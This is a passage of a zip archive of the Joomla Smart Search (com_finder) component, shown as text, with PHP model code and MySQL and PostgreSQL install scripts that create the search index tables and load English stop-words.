c.node_id=a.id'); $query->group('a.id, a.parent_id, a.title, a.state, a.access, a.ordering'); // If the model is set to check item state, add to the query. if (is_numeric($this->getState('filter.state'))) { $query->where($db->quoteName('a.state') . ' = ' . (int) $this->getState('filter.state')); } // Filter the maps over the branch if set. $branch_id = $this->getState('filter.branch'); if (!empty($branch_id)) { $query->where($db->quoteName('a.parent_id') . ' = ' . (int) $branch_id); } // Filter the maps over the search string if set. $search = $this->getState('filter.search'); if (!empty($search)) { $query->where($db->quoteName('a.title') . ' LIKE ' . $db->quote('%' . $search . '%')); } // Handle the list ordering. $ordering = $this->getState('list.ordering'); $direction = $this->getState('list.direction'); if (!empty($ordering)) { $query->order($db->escape($ordering) . ' ' . $db->escape($direction)); } return $query; } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. [optional] * * @return string A store id. * * @since 2.5 */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':' . $this->getState('filter.state'); $id .= ':' . $this->getState('filter.search'); $id .= ':' . $this->getState('filter.branch'); return parent::getStoreId($id); } /** * Returns a JTable object, always creating it. * * @param string $type The table type to instantiate. [optional] * @param string $prefix A prefix for the table class name. [optional] * @param array $config Configuration array for model. [optional] * * @return JTable A database object * * @since 2.5 */ public function getTable($type = 'Map', $prefix = 'FinderTable', $config = array()) { return JTable::getInstance($type, $prefix, $config); } /** * Method to auto-populate the model state. Calling getState in this method will result in recursion. * * @param string $ordering An optional ordering field. [optional] * @param string $direction An optional direction. [optional] * * @return void * * @since 2.5 */ protected function populateState($ordering = null, $direction = null) { // Load the filter state. $search = $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search'); $this->setState('filter.search', $search); $state = $this->getUserStateFromRequest($this->context . '.filter.state', 'filter_state', '', 'string'); $this->setState('filter.state', $state); $branch = $this->getUserStateFromRequest($this->context . '.filter.branch', 'filter_branch', '1', 'string'); $this->setState('filter.branch', $branch); // Load the parameters. $params = JComponentHelper::getParams('com_finder'); $this->setState('params', $params); // List state information. parent::populateState('a.title', 'asc'); } /** * Method to change the published state of one or more records. * * @param array &$pks A list of the primary keys to change. * @param integer $value The value of the published state. [optional] * * @return boolean True on success. * * @since 2.5 */ public function publish(&$pks, $value = 1) { // Initialise variables. $dispatcher = JDispatcher::getInstance(); $user = JFactory::getUser(); $table = $this->getTable(); $pks = (array) $pks; // Include the content plugins for the change of state event. JPluginHelper::importPlugin('content'); // Access checks. foreach ($pks as $i => $pk) { $table->reset(); if ($table->load($pk)) { if (!$this->canEditState($table)) { // Prune items that you can't change. unset($pks[$i]); $this->setError(JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED')); return false; } } } // Attempt to change the state of the records. if (!$table->publish($pks, $value, $user->get('id'))) { $this->setError($table->getError()); return false; } $context = $this->option . '.' . $this->name; // Trigger the onContentChangeState event. $result = $dispatcher->trigger('onContentChangeState', array($context, $pks, $value)); if (in_array(false, $result, true)) { $this->setError($table->getError()); return false; } // Clear the component's cache $this->cleanCache(); return true; } /** * Method to purge all maps from the taxonomy. * * @return boolean Returns true on success, false on failure. * * @since 2.5 */ public function purge() { $db = $this->getDbo(); $query = $db->getQuery(true); $query->delete(); $query->from($db->quoteName('#__finder_taxonomy')); $query->where($db->quoteName('parent_id') . ' > 1'); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { $this->setError($db->getErrorMsg()); return false; } $query->clear(); $query->delete(); $query->from($db->quoteName('#__finder_taxonomy_map')); $query->where('1'); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { $this->setError($db->getErrorMsg()); return false; } return true; } } PK@y>\@(components/com_finder/models/filters.phpnuW+AgetDbo(); $query = $db->getQuery(true); // Select all fields from the table. $query->select('a.*'); $query->from($db->quoteName('#__finder_filters') . ' AS a'); // Join over the users for the checked out user. $query->select('uc.name AS editor'); $query->join('LEFT', $db->quoteName('#__users') . ' AS uc ON uc.id=a.checked_out'); // Join over the users for the author. $query->select('ua.name AS user_name'); $query->join('LEFT', $db->quoteName('#__users') . ' AS ua ON ua.id = a.created_by'); // Check for a search filter. if ($this->getState('filter.search')) { $query->where('( ' . $db->quoteName('a.title') . ' LIKE \'%' . $db->escape($this->getState('filter.search')) . '%\' )'); } // If the model is set to check item state, add to the query. if (is_numeric($this->getState('filter.state'))) { $query->where($db->quoteName('a.state') . ' = ' . (int) $this->getState('filter.state')); } // Add the list ordering clause. $query->order($db->escape($this->getState('list.ordering') . ' ' . $db->escape($this->getState('list.direction')))); return $query; } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. [optional] * * @return string A store id. * * @since 2.5 */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':' . $this->getState('filter.search'); $id .= ':' . $this->getState('filter.state'); return parent::getStoreId($id); } /** * Method to auto-populate the model state. Calling getState in this method will result in recursion. * * @param string $ordering An optional ordering field. [optional] * @param string $direction An optional direction. [optional] * * @return void * * @since 2.5 */ protected function populateState($ordering = null, $direction = null) { // Load the filter state. $search = $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search'); $this->setState('filter.search', $search); $state = $this->getUserStateFromRequest($this->context . '.filter.state', 'filter_state', '', 'string'); $this->setState('filter.state', $state); // Load the parameters. $params = JComponentHelper::getParams('com_finder'); $this->setState('params', $params); // List state information. parent::populateState('a.title', 'asc'); } } PK@y>\aY<<+components/com_finder/sql/install.mysql.sqlnuW+A-- -- Table structure for table `#__finder_filters` -- CREATE TABLE IF NOT EXISTS `#__finder_filters` ( `filter_id` int(10) unsigned NOT NULL auto_increment, `title` varchar(255) NOT NULL, `alias` varchar(255) NOT NULL, `state` tinyint(1) NOT NULL default '1', `created` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(10) unsigned NOT NULL, `created_by_alias` varchar(255) NOT NULL, `modified` datetime NOT NULL default '0000-00-00 00:00:00', `modified_by` int(10) unsigned NOT NULL default '0', `checked_out` int(10) unsigned NOT NULL default '0', `checked_out_time` datetime NOT NULL default '0000-00-00 00:00:00', `map_count` int(10) unsigned NOT NULL default '0', `data` text NOT NULL, `params` mediumtext, PRIMARY KEY (`filter_id`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links` -- CREATE TABLE IF NOT EXISTS `#__finder_links` ( `link_id` int(10) unsigned NOT NULL auto_increment, `url` varchar(255) NOT NULL, `route` varchar(255) NOT NULL, `title` varchar(255) default NULL, `description` varchar(255) default NULL, `indexdate` datetime NOT NULL default '0000-00-00 00:00:00', `md5sum` varchar(32) default NULL, `published` tinyint(1) NOT NULL default '1', `state` int(5) default '1', `access` int(5) default '0', `language` varchar(8) NOT NULL, `publish_start_date` datetime NOT NULL default '0000-00-00 00:00:00', `publish_end_date` datetime NOT NULL default '0000-00-00 00:00:00', `start_date` datetime NOT NULL default '0000-00-00 00:00:00', `end_date` datetime NOT NULL default '0000-00-00 00:00:00', `list_price` double unsigned NOT NULL default '0', `sale_price` double unsigned NOT NULL default '0', `type_id` int(11) NOT NULL, `object` mediumblob NOT NULL, PRIMARY KEY (`link_id`), KEY `idx_type` (`type_id`), KEY `idx_title` (`title`), KEY `idx_md5` (`md5sum`), KEY `idx_url` (`url`(75)), KEY `idx_published_list` (`published`,`state`,`access`,`publish_start_date`,`publish_end_date`,`list_price`), KEY `idx_published_sale` (`published`,`state`,`access`,`publish_start_date`,`publish_end_date`,`sale_price`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_terms0` -- CREATE TABLE IF NOT EXISTS `#__finder_links_terms0` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_terms1` -- CREATE TABLE IF NOT EXISTS `#__finder_links_terms1` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_terms2` -- CREATE TABLE IF NOT EXISTS `#__finder_links_terms2` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_terms3` -- CREATE TABLE IF NOT EXISTS `#__finder_links_terms3` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_terms4` -- CREATE TABLE IF NOT EXISTS `#__finder_links_terms4` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_terms5` -- CREATE TABLE IF NOT EXISTS `#__finder_links_terms5` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_terms6` -- CREATE TABLE IF NOT EXISTS `#__finder_links_terms6` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_terms7` -- CREATE TABLE IF NOT EXISTS `#__finder_links_terms7` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_terms8` -- CREATE TABLE IF NOT EXISTS `#__finder_links_terms8` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_terms9` -- CREATE TABLE IF NOT EXISTS `#__finder_links_terms9` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_termsa` -- CREATE TABLE IF NOT EXISTS `#__finder_links_termsa` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_termsb` -- CREATE TABLE IF NOT EXISTS `#__finder_links_termsb` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_termsc` -- CREATE TABLE IF NOT EXISTS `#__finder_links_termsc` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_termsd` -- CREATE TABLE IF NOT EXISTS `#__finder_links_termsd` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_termse` -- CREATE TABLE IF NOT EXISTS `#__finder_links_termse` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_termsf` -- CREATE TABLE IF NOT EXISTS `#__finder_links_termsf` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_taxonomy` -- CREATE TABLE IF NOT EXISTS `#__finder_taxonomy` ( `id` int(10) unsigned NOT NULL auto_increment, `parent_id` int(10) unsigned NOT NULL default '0', `title` varchar(255) NOT NULL, `state` tinyint(1) unsigned NOT NULL default '1', `access` tinyint(1) unsigned NOT NULL default '0', `ordering` tinyint(1) unsigned NOT NULL default '0', PRIMARY KEY (`id`), KEY `parent_id` (`parent_id`), KEY `state` (`state`), KEY `ordering` (`ordering`), KEY `access` (`access`), KEY `idx_parent_published` (`parent_id`,`state`,`access`) ) DEFAULT CHARSET=utf8; -- -- Dumping data for table `#__finder_taxonomy` -- REPLACE INTO `#__finder_taxonomy` (`id`, `parent_id`, `title`, `state`, `access`, `ordering`) VALUES (1, 0, 'ROOT', 0, 0, 0); -- -------------------------------------------------------- -- -- Table structure for table `#__finder_taxonomy_map` -- CREATE TABLE IF NOT EXISTS `#__finder_taxonomy_map` ( `link_id` int(10) unsigned NOT NULL, `node_id` int(10) unsigned NOT NULL, PRIMARY KEY (`link_id`,`node_id`), KEY `link_id` (`link_id`), KEY `node_id` (`node_id`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_terms` -- CREATE TABLE IF NOT EXISTS `#__finder_terms` ( `term_id` int(10) unsigned NOT NULL auto_increment, `term` varchar(75) NOT NULL, `stem` varchar(75) NOT NULL, `common` tinyint(1) unsigned NOT NULL default '0', `phrase` tinyint(1) unsigned NOT NULL default '0', `weight` float unsigned NOT NULL default '0', `soundex` varchar(75) NOT NULL, `links` int(10) NOT NULL default '0', PRIMARY KEY (`term_id`), UNIQUE KEY `idx_term` (`term`), KEY `idx_term_phrase` (`term`,`phrase`), KEY `idx_stem_phrase` (`stem`,`phrase`), KEY `idx_soundex_phrase` (`soundex`,`phrase`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_terms_common` -- CREATE TABLE IF NOT EXISTS `#__finder_terms_common` ( `term` varchar(75) NOT NULL, `language` varchar(3) NOT NULL, KEY `idx_word_lang` (`term`,`language`), KEY `idx_lang` (`language`) ) DEFAULT CHARSET=utf8; -- -- Dumping data for table `#__finder_terms_common` -- REPLACE INTO `#__finder_terms_common` (`term`, `language`) VALUES ('a', 'en'), ('about', 'en'), ('after', 'en'), ('ago', 'en'), ('all', 'en'), ('am', 'en'), ('an', 'en'), ('and', 'en'), ('ani', 'en'), ('any', 'en'), ('are', 'en'), ('aren''t', 'en'), ('as', 'en'), ('at', 'en'), ('be', 'en'), ('but', 'en'), ('by', 'en'), ('for', 'en'), ('from', 'en'), ('get', 'en'), ('go', 'en'), ('how', 'en'), ('if', 'en'), ('in', 'en'), ('into', 'en'), ('is', 'en'), ('isn''t', 'en'), ('it', 'en'), ('its', 'en'), ('me', 'en'), ('more', 'en'), ('most', 'en'), ('must', 'en'), ('my', 'en'), ('new', 'en'), ('no', 'en'), ('none', 'en'), ('not', 'en'), ('noth', 'en'), ('nothing', 'en'), ('of', 'en'), ('off', 'en'), ('often', 'en'), ('old', 'en'), ('on', 'en'), ('onc', 'en'), ('once', 'en'), ('onli', 'en'), ('only', 'en'), ('or', 'en'), ('other', 'en'), ('our', 'en'), ('ours', 'en'), ('out', 'en'), ('over', 'en'), ('page', 'en'), ('she', 'en'), ('should', 'en'), ('small', 'en'), ('so', 'en'), ('some', 'en'), ('than', 'en'), ('thank', 'en'), ('that', 'en'), ('the', 'en'), ('their', 'en'), ('theirs', 'en'), ('them', 'en'), ('then', 'en'), ('there', 'en'), ('these', 'en'), ('they', 'en'), ('this', 'en'), ('those', 'en'), ('thus', 'en'), ('time', 'en'), ('times', 'en'), ('to', 'en'), ('too', 'en'), ('true', 'en'), ('under', 'en'), ('until', 'en'), ('up', 'en'), ('upon', 'en'), ('use', 'en'), ('user', 'en'), ('users', 'en'), ('veri', 'en'), ('version', 'en'), ('very', 'en'), ('via', 'en'), ('want', 'en'), ('was', 'en'), ('way', 'en'), ('were', 'en'), ('what', 'en'), ('when', 'en'), ('where', 'en'), ('whi', 'en'), ('which', 'en'), ('who', 'en'), ('whom', 'en'), ('whose', 'en'), ('why', 'en'), ('wide', 'en'), ('will', 'en'), ('with', 'en'), ('within', 'en'), ('without', 'en'), ('would', 'en'), ('yes', 'en'), ('yet', 'en'), ('you', 'en'), ('your', 'en'), ('yours', 'en'); -- -------------------------------------------------------- -- -- Table structure for table `#__finder_tokens` -- CREATE TABLE IF NOT EXISTS `#__finder_tokens` ( `term` varchar(75) NOT NULL, `stem` varchar(75) NOT NULL, `common` tinyint(1) unsigned NOT NULL default '0', `phrase` tinyint(1) unsigned NOT NULL default '0', `weight` float unsigned NOT NULL default '1', `context` tinyint(1) unsigned NOT NULL default '2', KEY `idx_word` (`term`), KEY `idx_context` (`context`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_tokens_aggregate` -- CREATE TABLE IF NOT EXISTS `#__finder_tokens_aggregate` ( `term_id` int(10) unsigned NOT NULL, `map_suffix` char(1) NOT NULL, `term` varchar(75) NOT NULL, `stem` varchar(75) NOT NULL, `common` tinyint(1) unsigned NOT NULL default '0', `phrase` tinyint(1) unsigned NOT NULL default '0', `term_weight` float unsigned NOT NULL, `context` tinyint(1) unsigned NOT NULL default '2', `context_weight` float unsigned NOT NULL, `total_weight` float unsigned NOT NULL, KEY `token` (`term`), KEY `keyword_id` (`term_id`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_types` -- CREATE TABLE IF NOT EXISTS `#__finder_types` ( `id` int(10) unsigned NOT NULL auto_increment, `title` varchar(100) NOT NULL, `mime` varchar(100) NOT NULL, PRIMARY KEY (`id`), UNIQUE KEY `title` (`title`) ) DEFAULT CHARSET=utf8; PK@y>\)#components/com_finder/sql/.htaccessnuW+A Order allow,deny Deny from all PK@y>\6$components/com_finder/sql/index.htmlnuW+APK@y>\)0components/com_finder/sql/install.postgresql.sqlnuW+A-- -- Table: #__finder_filters -- CREATE TABLE "#__finder_filters" ( "filter_id" serial NOT NULL, "title" character varying(255) NOT NULL, "alias" character varying(255) NOT NULL, "state" smallint DEFAULT 1 NOT NULL, "created" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL, "created_by" integer NOT NULL, "created_by_alias" character varying(255) NOT NULL, "modified" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL, "modified_by" integer DEFAULT 0 NOT NULL, "checked_out" integer DEFAULT 0 NOT NULL, "checked_out_time" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL, "map_count" integer DEFAULT 0 NOT NULL, "data" text NOT NULL, "params" text, PRIMARY KEY ("filter_id") ); -- -- Table: #__finder_links -- CREATE TABLE "#__finder_links" ( "link_id" serial NOT NULL, "url" character varying(255) NOT NULL, "route" character varying(255) NOT NULL, "title" character varying(255) DEFAULT NULL, "description" character varying(255) DEFAULT NULL, "indexdate" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL, "md5sum" character varying(32) DEFAULT NULL, "published" smallint DEFAULT 1 NOT NULL, "state" integer DEFAULT 1, "access" integer DEFAULT 0, "language" character varying(8) NOT NULL, "publish_start_date" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL, "publish_end_date" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL, "start_date" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL, "end_date" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL, "list_price" numeric(8,2) DEFAULT 0 NOT NULL, "sale_price" numeric(8,2) DEFAULT 0 NOT NULL, "type_id" bigint NOT NULL, "object" bytea NOT NULL, PRIMARY KEY ("link_id") ); CREATE INDEX "#__finder_links_idx_type" on "#__finder_links" ("type_id"); CREATE INDEX "#__finder_links_idx_title" on "#__finder_links" ("title"); CREATE INDEX "#__finder_links_idx_md5" on "#__finder_links" ("md5sum"); CREATE INDEX "#__finder_links_idx_url" on "#__finder_links" (url(75)); CREATE INDEX "#__finder_links_idx_published_list" on "#__finder_links" ("published", "state", "access", "publish_start_date", "publish_end_date", "list_price"); CREATE INDEX "#__finder_links_idx_published_sale" on "#__finder_links" ("published", "state", "access", "publish_start_date", "publish_end_date", "sale_price"); -- -- Table: #__finder_links_terms0 -- CREATE TABLE "#__finder_links_terms0" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY ("link_id", "term_id") ); CREATE INDEX "#__finder_links_terms0_idx_term_weight" on "#__finder_links_terms0" ("term_id", "weight"); CREATE INDEX "#__finder_links_terms0_idx_link_term_weight" on "#__finder_links_terms0" ("link_id", "term_id", "weight"); -- -- Table: #__finder_links_terms1 -- CREATE TABLE "#__finder_links_terms1" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY ("link_id", "term_id") ); CREATE INDEX "#__finder_links_terms1_idx_term_weight" on "#__finder_links_terms1" ("term_id", "weight"); CREATE INDEX "#__finder_links_terms1_idx_link_term_weight" on "#__finder_links_terms1" ("link_id", "term_id", "weight"); -- -- Table: #__finder_links_terms2 -- CREATE TABLE "#__finder_links_terms2" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY ("link_id", "term_id") ); CREATE INDEX "#__finder_links_terms2_idx_term_weight" on "#__finder_links_terms2" ("term_id", "weight"); CREATE INDEX "#__finder_links_terms2_idx_link_term_weight" on "#__finder_links_terms2" ("link_id", "term_id", "weight"); -- -- Table: #__finder_links_terms3 -- CREATE TABLE "#__finder_links_terms3" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY ("link_id", "term_id") ); CREATE INDEX "#__finder_links_terms3_idx_term_weight" on "#__finder_links_terms3" ("term_id", "weight"); CREATE INDEX "#__finder_links_terms3_idx_link_term_weight" on "#__finder_links_terms3" ("link_id", "term_id", "weight"); -- -- Table: #__finder_links_terms4 -- CREATE TABLE "#__finder_links_terms4" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY ("link_id", "term_id") ); CREATE INDEX "#__finder_links_terms4_idx_term_weight" on "#__finder_links_terms4" ("term_id", "weight"); CREATE INDEX "#__finder_links_terms4_idx_link_term_weight" on "#__finder_links_terms4" ("link_id", "term_id", "weight"); -- -- Table: #__finder_links_terms5 -- CREATE TABLE "#__finder_links_terms5" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY ("link_id", "term_id") ); CREATE INDEX "#__finder_links_terms5_idx_term_weight" on "#__finder_links_terms5" ("term_id", "weight"); CREATE INDEX "#__finder_links_terms5_idx_link_term_weight" on "#__finder_links_terms5" ("link_id", "term_id", "weight"); -- -- Table: #__finder_links_terms6 -- CREATE TABLE "#__finder_links_terms6" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY ("link_id", "term_id") ); CREATE INDEX "#__finder_links_terms6_idx_term_weight" on "#__finder_links_terms6" ("term_id", "weight"); CREATE INDEX "#__finder_links_terms6_idx_link_term_weight" on "#__finder_links_terms6" ("link_id", "term_id", "weight"); -- -- Table: #__finder_links_terms7 -- CREATE TABLE "#__finder_links_terms7" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY ("link_id", "term_id") ); CREATE INDEX "#__finder_links_terms7_idx_term_weight" on "#__finder_links_terms7" ("term_id", "weight"); CREATE INDEX "#__finder_links_terms7_idx_link_term_weight" on "#__finder_links_terms7" ("link_id", "term_id", "weight"); -- -- Table: #__finder_links_terms8 -- CREATE TABLE "#__finder_links_terms8" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY ("link_id", "term_id") ); CREATE INDEX "#__finder_links_terms8_idx_term_weight" on "#__finder_links_terms8" ("term_id", "weight"); CREATE INDEX "#__finder_links_terms8_idx_link_term_weight" on "#__finder_links_terms8" ("link_id", "term_id", "weight"); -- -- Table: #__finder_links_terms9 -- CREATE TABLE "#__finder_links_terms9" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY ("link_id", "term_id") ); CREATE INDEX "#__finder_links_terms9_idx_term_weight" on "#__finder_links_terms9" ("term_id", "weight"); CREATE INDEX "#__finder_links_terms9_idx_link_term_weight" on "#__finder_links_terms9" ("link_id", "term_id", "weight"); -- -- Table: #__finder_links_termsa -- CREATE TABLE "#__finder_links_termsa" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY ("link_id", "term_id") ); CREATE INDEX "#__finder_links_termsa_idx_term_weight" on "#__finder_links_termsa" ("term_id", "weight"); CREATE INDEX "#__finder_links_termsa_idx_link_term_weight" on "#__finder_links_termsa" ("link_id", "term_id", "weight"); -- -- Table: #__finder_links_termsb -- CREATE TABLE "#__finder_links_termsb" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY ("link_id", "term_id") ); CREATE INDEX "#__finder_links_termsb_idx_term_weight" on "#__finder_links_termsb" ("term_id", "weight"); CREATE INDEX "#__finder_links_termsb_idx_link_term_weight" on "#__finder_links_termsb" ("link_id", "term_id", "weight"); -- -- Table: #__finder_links_termsc -- CREATE TABLE "#__finder_links_termsc" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY ("link_id", "term_id") ); CREATE INDEX "#__finder_links_termsc_idx_term_weight" on "#__finder_links_termsc" ("term_id", "weight"); CREATE INDEX "#__finder_links_termsc_idx_link_term_weight" on "#__finder_links_termsc" ("link_id", "term_id", "weight"); -- -- Table: #__finder_links_termsd -- CREATE TABLE "#__finder_links_termsd" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY ("link_id", "term_id") ); CREATE INDEX "#__finder_links_termsd_idx_term_weight" on "#__finder_links_termsd" ("term_id", "weight"); CREATE INDEX "#__finder_links_termsd_idx_link_term_weight" on "#__finder_links_termsd" ("link_id", "term_id", "weight"); -- -- Table: #__finder_links_termse -- CREATE TABLE "#__finder_links_termse" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY ("link_id", "term_id") ); CREATE INDEX "#__finder_links_termse_idx_term_weight" on "#__finder_links_termse" ("term_id", "weight"); CREATE INDEX "#__finder_links_termse_idx_link_term_weight" on "#__finder_links_termse" ("link_id", "term_id", "weight"); -- -- Table: #__finder_links_termsf -- CREATE TABLE "#__finder_links_termsf" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY 